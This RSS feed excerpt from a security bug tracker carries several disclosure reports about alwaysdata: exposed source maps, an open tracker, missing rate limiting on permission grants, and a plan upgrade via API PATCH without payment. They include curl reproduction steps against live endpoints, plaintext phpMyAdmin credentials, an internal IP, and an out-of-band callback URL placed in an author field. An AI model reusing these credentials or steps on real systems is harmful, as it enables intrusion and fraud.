    <link>https://security.alwaysdata.com/task/312</link>
    <dc:date>2026-03-23T08:11:43Z</dc:date>
    <dc:creator>Dominik Hajczuk</dc:creator>
     <description>

## Summary



25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:



- Internal API endpoint patterns and CSRF handling logic- Feature flag names and conditional logic- Reseller module business logic- Template file paths and component structure- Permission system implementation details- Support ticket system leaking data to languagetool.org



## Severity: Medium (CVSS 5.3)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NCWE-540: Inclusion of Sensitive Information in Source Code



## Steps to Reproduce



### 1. Download the admin panel core source map (605 KB)curl -s -o core.js.map &amp;#039;https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map&amp;#039;wc -c core.js.map# 605039 bytes



### 2. Verify it contains original source codecat core.js.map | python3 -c &amp;quot;import json,sys; d=json.load(sys.stdin); print(&amp;#039;Sources:&amp;#039;, len(d.get(&amp;#039;sources&amp;#039;,[])), &amp;#039;Files&amp;#039;); print(&amp;#039;Content length:&amp;#039;, sum(len(s) for s in d.get(&amp;#039;sourcesContent&amp;#039;,[])) if s))&amp;quot;



### 3. Accessible source maps (sample)https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map



## Attack Scenario



1. Attacker downloads all 25 source maps2. Reconstructs the complete admin panel client-side application3. Identifies API endpoint patterns, authentication flows, CSRF handling4. Maps feature flags and conditional code paths5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)6. Uses internal knowledge to craft targeted attacks against admin panel



## Impact



- Full source code exposure: 410K+ characters of unminified admin panel code- Reconnaissance advantage: API patterns, auth logic, permission checks exposed- Third-party data leak: Ticket system sends content to external API - Internal architecture knowledge: File paths, component structure revealed



## Remediation



1. IMMEDIATE: Remove source map files from production static asset server2. Disable source map generation in Vite production build: build.sourcemap = false3. If needed for error tracking, use Sentry source map upload API (server-side only)

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:
</p>

<p>
- Internal <acronym title="Application Programming Interface">API</acronym> endpoint patterns and CSRF handling logic<br />- Feature flag names and conditional logic<br />- Reseller module business logic<br />- Template file paths and component structure<br />- Permission system implementation details<br />- Support ticket system leaking data to languagetool.org
</p>

<p>
## Severity: Medium (CVSS 5.3)<br />CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N<br />CWE-540: Inclusion of Sensitive Information in Source Code
</p>

<p>
## Steps to Reproduce
</p>

<p>
### 1. Download the admin panel core source map (605 KB)<br />curl -s -o core.js.map &#039;<a href="https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map</a>&#039;<br />wc -c core.js.map<br /># 605039 bytes
</p>

<p>
### 2. Verify it contains original source code<br />cat core.js.map | python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(&#039;Sources:&#039;, len(d.get(&#039;sources&#039;,[])), &#039;Files&#039;); print(&#039;Content length:&#039;, sum(len(s) for s in d.get(&#039;sourcesContent&#039;,[])) if s))&quot;
</p>

<p>
### 3. Accessible source maps (sample)<br /><a href="https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map</a> <a href="https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map</a>
</p>

<p>
## Attack Scenario
</p>

<p>
1. Attacker downloads all 25 source maps<br />2. Reconstructs the complete admin panel client-side application<br />3. Identifies <acronym title="Application Programming Interface">API</acronym> endpoint patterns, authentication flows, CSRF handling<br />4. Maps feature flags and conditional code paths<br />5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)<br />6. Uses internal knowledge to craft targeted attacks against admin panel
</p>

<p>
## Impact
</p>

<p>
- Full source code exposure: 410K+ characters of unminified admin panel code<br />- Reconnaissance advantage: <acronym title="Application Programming Interface">API</acronym> patterns, auth logic, permission checks exposed<br />- Third-party data leak: Ticket system sends content to external <acronym title="Application Programming Interface">API</acronym> - Internal architecture knowledge: File paths, component structure revealed
</p>

<p>
## Remediation
</p>

<p>
1. IMMEDIATE: Remove source map files from production static asset server<br />2. Disable source map generation in Vite production build: build.sourcemap = false<br />3. If needed for error tracking, use Sentry source map upload <acronym title="Application Programming Interface">API</acronym> (server-side only)<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/310">
    <title>FS#310: Flyspray Security Tracker Full Exposure - 265 Reports, Credentials, PoCs Without Auth</title>
    <link>https://security.alwaysdata.com/task/310</link>
    <dc:date>2026-03-23T08:11:32Z</dc:date>
    <dc:creator>Dominik Hajczuk</dc:creator>
     <description>

## Summary



The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:



1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in &amp;#160;FS#100&amp;#160;)3. 132+ downloadable PoC attachments via sequential ID enumeration4. Admin-researcher conversations revealing internal infrastructure details5. Researcher identities (usernames for all 265 reports)6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths7. Real-time vulnerability pipeline monitoring via RSS feed



## Severity: Critical (CVSS 9.1)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NCWE-200: Exposure of Sensitive Information



## Steps to Reproduce



### 1. Access the task list (no authentication required)curl -s &amp;#039;https://security.alwaysdata.com/?do=tasklist&amp;amp;status[]=open&amp;amp;status[]=closed&amp;#039;Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.



### 2. Read a vulnerability report with plaintext credentialscurl -s &amp;#039;https://security.alwaysdata.com/task/100&amp;#039;&amp;#160;FS#100&amp;#160; contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.



### 3. Read a full SSRF PoC with internal IPcurl -s &amp;#039;https://security.alwaysdata.com/task/307&amp;#039;&amp;#160;FS#307&amp;#160; contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.



### 4. Subscribe to real-time vulnerability feedcurl -s &amp;#039;https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;amp;project=1&amp;#039;RSS feed delivers new vulnerability reports as they are submitted — before patches are deployed.



### 5. Download PoC attachments by ID enumerationcurl -s -o poc_screenshot.png &amp;#039;https://security.alwaysdata.com/?getfile=130&amp;#039;IDs 1 through 132 are accessible.



### 6. Access .git repository metadatacurl -s &amp;#039;https://security.alwaysdata.com/.git/config&amp;#039;curl -s &amp;#039;https://security.alwaysdata.com/.git/logs/HEAD&amp;#039;Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.



## Attack Scenario



1. Attacker discovers security.alwaysdata.com via subdomain enumeration2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)3. Reads &amp;#160;FS#307&amp;#160; to get a complete SSRF exploit chain with internal IP4. Downloads all 132 PoC attachments5. Extracts phpMyAdmin credentials from &amp;#160;FS#100&amp;#160; 6. Subscribes to RSS feed to monitor new reports in real-time7. Weaponizes unpatched vulnerabilities during the window between report and fix



## Impact



- Credential exposure: Plaintext database credentials accessible to anyone- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities- Intelligence gathering: Internal IPs, server architecture, admin identities- Persistent monitoring: RSS feed provides real-time vulnerability intelligence



## Additional Findings- Weak CSP: script-src &amp;#039;self&amp;#039; &amp;#039;unsafe-inline&amp;#039; &amp;#039;unsafe-eval&amp;#039;- Outdated JS: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)- PHP path disclosure in registration errors- Session cookie missing Secure and SameSite flags- Flyspray 112 commits behind upstream



## Remediation



1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication2. IMMEDIATE: Block .git directory access at web server level3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)4. SHORT-TERM: Disable public self-registration5. SHORT-TERM: Update Flyspray (112 commits behind upstream)6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:
</p>

<p>
1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)<br />2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in <del>&#160;<a href="https://security.alwaysdata.com/task/100?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#100</a>&#160;</del>)<br />3. 132+ downloadable PoC attachments via sequential ID enumeration<br />4. Admin-researcher conversations revealing internal infrastructure details<br />5. Researcher identities (usernames for all 265 reports)<br />6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths<br />7. Real-time vulnerability pipeline monitoring via <acronym title="Rich Site Summary">RSS</acronym> feed
</p>

<p>
## Severity: Critical (CVSS 9.1)<br />CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N<br />CWE-200: Exposure of Sensitive Information
</p>

<p>
## Steps to Reproduce
</p>

<p>
### 1. Access the task list (no authentication required)<br />curl -s &#039;<a href="https://security.alwaysdata.com/?do=tasklist&amp;status" class="urlextern" title="https://security.alwaysdata.com/?do=tasklist&amp;status"  rel="nofollow">https://security.alwaysdata.com/?do=tasklist&amp;status</a>[]=open&amp;status[]=closed&#039;<br />Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.
</p>

<p>
### 2. Read a vulnerability report with plaintext credentials<br />curl -s &#039;<a href="https://security.alwaysdata.com/task/100" class="urlextern" title="https://security.alwaysdata.com/task/100"  rel="nofollow">https://security.alwaysdata.com/task/100</a>&#039;<br /><del>&#160;<a href="https://security.alwaysdata.com/task/100?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#100</a>&#160;</del> contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.
</p>

<p>
### 3. Read a full SSRF PoC with internal IP<br />curl -s &#039;<a href="https://security.alwaysdata.com/task/307" class="urlextern" title="https://security.alwaysdata.com/task/307"  rel="nofollow">https://security.alwaysdata.com/task/307</a>&#039;<br /><del>&#160;<a href="https://security.alwaysdata.com/task/307?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#307</a>&#160;</del> contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.
</p>

<p>
### 4. Subscribe to real-time vulnerability feed<br />curl -s &#039;<a href="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1" class="urlextern" title="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1"  rel="nofollow">https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1</a>&#039;<br /><acronym title="Rich Site Summary">RSS</acronym> feed delivers new vulnerability reports as they are submitted — before patches are deployed.
</p>

<p>
### 5. Download PoC attachments by ID enumeration<br />curl -s -o poc_screenshot.png &#039;<a href="https://security.alwaysdata.com/?getfile=130" class="urlextern" title="https://security.alwaysdata.com/?getfile=130"  rel="nofollow">https://security.alwaysdata.com/?getfile=130</a>&#039;<br />IDs 1 through 132 are accessible.
</p>

<p>
### 6. Access .git repository metadata<br />curl -s &#039;<a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a>&#039;<br />curl -s &#039;<a href="https://security.alwaysdata.com/.git/logs/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/logs/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/logs/HEAD</a>&#039;<br />Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.
</p>

<p>
## Attack Scenario
</p>

<p>
1. Attacker discovers security.alwaysdata.com via subdomain enumeration<br />2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)<br />3. Reads <del>&#160;<a href="https://security.alwaysdata.com/task/307?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#307</a>&#160;</del> to get a complete SSRF exploit chain with internal IP<br />4. Downloads all 132 PoC attachments<br />5. Extracts phpMyAdmin credentials from <del>&#160;<a href="https://security.alwaysdata.com/task/100?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#100</a>&#160;</del> 6. Subscribes to <acronym title="Rich Site Summary">RSS</acronym> feed to monitor new reports in real-time<br />7. Weaponizes unpatched vulnerabilities during the window between report and fix
</p>

<p>
## Impact
</p>

<p>
- Credential exposure: Plaintext database credentials accessible to anyone<br />- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities<br />- Intelligence gathering: Internal IPs, server architecture, admin identities<br />- Persistent monitoring: <acronym title="Rich Site Summary">RSS</acronym> feed provides real-time vulnerability intelligence
</p>

<p>
## Additional Findings<br />- Weak CSP: script-src &#039;self&#039; &#039;unsafe-inline&#039; &#039;unsafe-eval&#039;<br />- Outdated <acronym title="JavaScript">JS</acronym>: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)<br />- <acronym title="Hypertext Preprocessor">PHP</acronym> path disclosure in registration errors<br />- Session cookie missing Secure and SameSite flags<br />- Flyspray 112 commits behind upstream
</p>

<p>
## Remediation
</p>

<p>
1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication<br />2. IMMEDIATE: Block .git directory access at web server level<br />3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)<br />4. SHORT-TERM: Disable public self-registration<br />5. SHORT-TERM: Update Flyspray (112 commits behind upstream)<br />6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/309">
    <title>FS#309: Missing Rate Limiting &amp; Lack of Access Control on /permissions/add/ allows Bulk User Addition / Priv</title>
    <link>https://security.alwaysdata.com/task/309</link>
    <dc:date>2026-03-18T13:53:08Z</dc:date>
    <dc:creator>http://637abb6a0s5w8gdo7k5eu3rjwa23qvek.oastify.com</dc:creator>
     <description>

Summary: The endpoint https://admin.alwaysdata.com/permissions/add/ is vulnerable to a complete lack of rate limiting and missing function-level access controls. An authenticated attacker can send hundreds of requests in a short time to add new users or grant permissions to existing users without any restriction (CAPTCHA, 429 status code, or account lockout). This was confirmed by receiving a &amp;quot;Profile initialization&amp;quot; email from Alwaysdata for the injected email address.



Steps to Reproduce: Log in to your Alwaysdata admin account.



Open Burp Suite (or any HTTP proxy) and intercept the request when adding a new user or permission via the /permissions/add/ endpoint.



Send this request to Intruder (or any automation tool).



Set a payload position on the email parameter (e.g., email=victim%2Bpayload@example.com).



Configure the payloads to generate 100 different email addresses (using %2B addressing or random strings).



Start the attack. Send all 100 requests without any delay.



Observe the responses.



Check your email inbox associated with the payload email addresses.



Proof of Concept : Intruder Results (Attached Image ): The attached screenshot shows that 100 requests were sent. All returned a 302 Found status code with identical response lengths. No rate limiting (e.g., 429 status) was observed.



Confirmation Email (Attached Image ): The second screenshot shows an email received from Alwaysdata titled &amp;quot;Profile initialization…&amp;quot; confirming that a new user/profile was created or permissions were granted due to the automated requests. This proves the vulnerability has a real impact.



Impact:  An attacker can automate the creation of hundreds of user accounts or grant permissions to existing accounts.



This can lead to denial of service (filling the database), account takeover, and privilege escalation.



The lack of rate limiting makes it trivial to brute-force or enumerate valid user addition processes.



 Suggested Fix:



 Implement strict rate limiting on the /permissions/add/ endpoint (e.g., max 5 requests per minute per user/IP).



Implement CAPTCHA for sensitive actions like adding users.



Ensure proper function-level access control checks are performed for every request.

</description>
    <content:encoded><![CDATA[
<p>
<strong>Summary:</strong> The endpoint <a href="https://admin.alwaysdata.com/permissions/add/" class="urlextern" title="https://admin.alwaysdata.com/permissions/add/"  rel="nofollow">https://admin.alwaysdata.com/permissions/add/</a> is vulnerable to a complete lack of rate limiting and missing function-level access controls. An authenticated attacker can send hundreds of requests in a short time to add new users or grant permissions to existing users without any restriction (CAPTCHA, 429 status code, or account lockout). This was confirmed by receiving a &quot;Profile initialization&quot; email from Alwaysdata for the injected email address.
</p>

<p>
<strong>Steps to Reproduce:</strong> Log in to your Alwaysdata admin account.
</p>

<p>
Open Burp Suite (or any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> proxy) and intercept the request when adding a new user or permission via the /permissions/add/ endpoint.
</p>

<p>
Send this request to Intruder (or any automation tool).
</p>

<p>
Set a payload position on the email parameter (e.g., email=victim%2Bpayload@example.com).
</p>

<p>
Configure the payloads to generate 100 different email addresses (using %2B addressing or random strings).
</p>

<p>
Start the attack. Send all 100 requests without any delay.
</p>

<p>
<strong>Observe the responses.</strong>
</p>

<p>
Check your email inbox associated with the payload email addresses.
</p>

<p>
<strong>Proof of Concept :</strong> <strong>Intruder Results (Attached Image ):</strong> The attached screenshot shows that 100 requests were sent. All returned a 302 Found status code with identical response lengths. No rate limiting (e.g., 429 status) was observed.
</p>

<p>
Confirmation Email (Attached Image ): The second screenshot shows an email received from Alwaysdata titled &quot;Profile initialization…&quot; confirming that a new user/profile was created or permissions were granted due to the automated requests. This proves the vulnerability has a real impact.
</p>

<p>
<strong>Impact: </strong> An attacker can automate the creation of hundreds of user accounts or grant permissions to existing accounts.
</p>

<p>
This can lead to denial of service (filling the database), account takeover, and privilege escalation.
</p>

<p>
The lack of rate limiting makes it trivial to brute-force or enumerate valid user addition processes.
</p>

<p>
 <strong>Suggested Fix:</strong>
</p>

<p>
 Implement strict rate limiting on the /permissions/add/ endpoint (e.g., max 5 requests per minute per user/IP).
</p>

<p>
Implement CAPTCHA for sensitive actions like adding users.
</p>

<p>
Ensure proper function-level access control checks are performed for every request.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/308">
    <title>FS#308: Security Report: API product change enables premium subscription state</title>
    <link>https://security.alwaysdata.com/task/308</link>
    <dc:date>2026-03-17T08:10:42Z</dc:date>
    <dc:creator>ErrorNotFound</dc:creator>
     <description>

Hello Security Team,



I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.



Name of vulnerability:Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion



Description:While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.



After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.



The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.



Steps to reproduce and proof of concept:First, an API token was created from the administration interface and used with HTTP Basic authentication.



The initial account state was verified through:



curl -u &amp;quot;342d00dc&amp;quot; &amp;quot;https://api.alwaysdata.com/v1/account/&amp;quot;



The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.



Next, the account object was updated using:



curl -u &amp;quot;342d00dc&amp;quot; -X PATCH &amp;quot;https://api.alwaysdata.com/v1/account/463*/&amp;quot; -H &amp;quot;Content-Type: application/json&amp;quot; -d &amp;#039;{&amp;quot;product&amp;quot;:2011}&amp;#039;

The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png.

A follow-up request to the same account endpoint returned the updated product reference:

curl -u &amp;quot;342d00dc&amp;quot; &amp;quot;https://api.alwaysdata.com/v1/account/463*/&amp;quot;



The updated response is shown in 02_api_product_changed_to_premium.png.



The subscription endpoint was then queried:



curl -u &amp;quot;342d00dc&amp;quot; &amp;quot;https://api.alwaysdata.com/v1/subscription/&amp;quot;



The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.



The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.



The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.



The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.



All verification was performed only on infrastructure attached to my own account.



Impact:The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.



Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.



I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.



Vulnerable HTTP Request and Response:



Request:



PATCH /v1/account/463*/ HTTP/1.1Host: api.alwaysdata.comContent-Type: application/jsonAuthorization: Basic &amp;lt;token&amp;gt;

{&amp;quot;product&amp;quot;: 2011}

Response:

HTTP/1.1 204 No Content

Verification request:

GET /v1/account/463*/ HTTP/1.1Host: api.alwaysdata.comAuthorization: Basic &amp;lt;token&amp;gt;



Verification response excerpt:



{&amp;quot;id&amp;quot;: &amp;quot;…&amp;quot;,&amp;quot;product&amp;quot;: {&amp;quot;href&amp;quot;: &amp;quot;/v1/product/2011/&amp;quot;}}



Subscription verification response excerpt:



{&amp;quot;product&amp;quot;: {&amp;quot;href&amp;quot;: &amp;quot;/v1/product/2011/&amp;quot;},&amp;quot;price&amp;quot;: &amp;quot;165.000000000000000&amp;quot;}



Remediation:A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.



Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.



Please let me know if any additional details would be helpful.



Best regards

</description>
    <content:encoded><![CDATA[
<p>
Hello Security Team,
</p>

<p>
I would like to report a security issue identified while testing authenticated account behavior through the <acronym title="Application Programming Interface">API</acronym> within my own alwaysdata account.
</p>

<p>
Name of vulnerability:<br />Authenticated <acronym title="Application Programming Interface">API</acronym> allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion
</p>

<p>
Description:<br />While testing within my own alwaysdata account and using an <acronym title="Application Programming Interface">API</acronym> token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the <acronym title="Application Programming Interface">API</acronym> accepts the change and updates the account object immediately.
</p>

<p>
After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.
</p>

<p>
The observation may indicate that product assignment through the <acronym title="Application Programming Interface">API</acronym> is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, <acronym title="Application Programming Interface">API</acronym> object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.
</p>

<p>
Steps to reproduce and proof of concept:<br />First, an <acronym title="Application Programming Interface">API</acronym> token was created from the administration interface and used with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic authentication.
</p>

<p>
The initial account state was verified through:
</p>

<p>
curl -u &quot;342<strong></strong><strong></strong><strong></strong><strong></strong><strong></strong><strong></strong>d00dc&quot; &quot;<a href="https://api.alwaysdata.com/v1/account/" class="urlextern" title="https://api.alwaysdata.com/v1/account/"  rel="nofollow">https://api.alwaysdata.com/v1/account/</a>&quot;
</p>

<p>
The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.
</p>

<p>
Next, the account object was updated using:
</p>

<p>
curl -u &quot;342<strong></strong><strong></strong><strong></strong><strong></strong><strong></strong><strong></strong>d00dc&quot; -X PATCH &quot;<a href="https://api.alwaysdata.com/v1/account/463" class="urlextern" title="https://api.alwaysdata.com/v1/account/463"  rel="nofollow">https://api.alwaysdata.com/v1/account/463</a><strong>*/&quot; -H &quot;Content-Type: application/json&quot; -d &#039;{&quot;product&quot;:2011}&#039;

The <acronym title="Application Programming Interface">API</acronym> accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png.

A follow-up request to the same account endpoint returned the updated product reference:

curl -u &quot;342</strong><strong></strong><strong></strong><strong></strong><strong></strong><strong></strong><strong>d00dc&quot; &quot;<a href="https://api.alwaysdata.com/v1/account/463" class="urlextern" title="https://api.alwaysdata.com/v1/account/463"  rel="nofollow">https://api.alwaysdata.com/v1/account/463</a></strong>*/&quot;
</p>

<p>
The updated response is shown in 02_api_product_changed_to_premium.png.
</p>

<p>
The subscription endpoint was then queried:
</p>

<p>
curl -u &quot;342<strong></strong><strong></strong><strong></strong><strong></strong><strong></strong><strong></strong>d00dc&quot; &quot;<a href="https://api.alwaysdata.com/v1/subscription/" class="urlextern" title="https://api.alwaysdata.com/v1/subscription/"  rel="nofollow">https://api.alwaysdata.com/v1/subscription/</a>&quot;
</p>

<p>
The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.
</p>

<p>
The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.
</p>

<p>
The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.
</p>

<p>
